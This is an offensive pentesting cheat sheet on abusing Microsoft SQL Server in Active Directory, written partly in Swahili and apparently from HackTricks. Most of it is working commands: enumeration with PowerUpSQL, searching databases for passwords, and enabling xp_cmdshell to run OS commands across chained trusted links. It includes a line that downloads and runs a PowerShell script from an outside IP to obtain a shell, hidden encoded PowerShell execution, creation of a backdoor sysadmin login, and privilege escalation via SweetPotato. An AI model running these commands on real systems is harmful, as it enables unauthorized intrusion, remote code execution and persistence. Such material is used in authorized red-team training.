MSSQL AD Abuse

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Websec | Uw Cybersecurity Specialist

MSSQL Enumeration / Discovery

Moduli ya powershell PowerUpSQL ni muhimu sana katika kesi hii.

Import-Module .\PowerupSQL.psd1

Kuorodhesha kutoka kwenye mtandao bila kikao cha kikoa

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#If you don't have a AD account, you can try to find MSSQL scanning via UDP
#First, you will need a list of hosts to scan
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10

#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test

Kuorodhesha kutoka ndani ya eneo

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose

#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose

#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

# Get DBs, test connections and get info in oneliner
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo

MSSQL Msingi wa Kutumiwa

Upatikanaji wa DB

#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"

#Dump an instance (a lotof CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"

# Search keywords in columns trying to access the MSSQL DBs
## This won't use trusted SQL links
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize

MSSQL RCE

Inaweza pia kuwa na uwezekano wa kutekeleza amri ndani ya mwenyeji wa MSSQL

Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary

Check in the page mentioned in the sehemu ifuatayo jinsi ya kufanya hivi kwa mikono.

MSSQL Njia za Msingi za Hacking

1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL Viungo Vilivyokubaliwa

Ikiwa mfano wa MSSQL unakubaliwa (kiungo cha database) na mfano mwingine wa MSSQL. Ikiwa mtumiaji ana mamlaka juu ya database iliyo na uaminifu, ataweza kutumia uhusiano wa uaminifu kutekeleza maswali pia katika mfano mwingine. Hii inaruhusiwa kuunganishwa na kwa wakati fulani mtumiaji anaweza kupata database iliyo na mipangilio isiyo sahihi ambapo anaweza kutekeleza amri.

Viungo kati ya databases vinafanya kazi hata kupitia uaminifu wa msitu.

Abuse ya Powershell

#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0

#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose

#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'

#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"

#Obtain a shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'

#Check for possible vulnerabilities on an instance where you have access
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"

#Try to escalate privileges on an instance
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"

#Manual trusted link queery
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
## Enable xp_cmdshell and check it
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'

Metasploit

Unaweza kuangalia kwa urahisi viungo vinavyotegemewa kwa kutumia metasploit.

#Set username, password, windows auth (if using AD), IP...
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session

Notice that metasploit will try to abuse only the openquery() function in MSSQL (so, if you can't execute command with openquery() you will need to try the EXECUTE method manually to execute commands, see more below.)

Manual - Openquery()

From Linux you could obtain a MSSQL console shell with sqsh and mssqlclient.py.

From Windows you could also find the links and execute commands manually using a MSSQL client like HeidiSQL

Login using Windows authentication:

Tafuta Viungo vya Kuaminika

select * from master..sysservers;
EXEC sp_linkedservers;

Teua maswali katika kiungo kinachoweza kuaminika

Teua maswali kupitia kiungo (mfano: pata viungo zaidi katika mfano mpya unaopatikana):

select * from openquery("dcorp-sql1", 'select * from master..sysservers')

Angalia mahali ambapo nukuu mbili na moja zinatumika, ni muhimu kuzitumia hivyo.

Unaweza kuendelea na mnyororo huu wa viungo vilivyoaminika milele kwa mikono.

# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')

# Second level RCE
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')

Ikiwa huwezi kufanya vitendo kama exec xp_cmdshell kutoka openquery(), jaribu kutumia njia ya EXECUTE.

Manual - EXECUTE

Unaweza pia kutumia viungo vya kuaminika kwa kutumia EXECUTE:

#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

Local Privilege Escalation

Mtumiaji wa MSSQL wa ndani kwa kawaida ana aina maalum ya ruhusa inayoitwa SeImpersonatePrivilege. Hii inaruhusu akaunti "kujifanya mteja baada ya uthibitisho".

Mkakati ambao waandishi wengi wamekuja nao ni kulazimisha huduma ya SYSTEM kuthibitisha kwa huduma ya uasi au mtu katikati ambayo mshambuliaji anaunda. Huduma hii ya uasi inaweza kujifanya kuwa huduma ya SYSTEM wakati inajaribu kuthibitisha.

SweetPotato ina mkusanyiko wa mbinu hizi mbalimbali ambazo zinaweza kutekelezwa kupitia amri ya execute-assembly ya Beacon.

Websec | Uw Cybersecurity Specialist

Jifunze & fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze & fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

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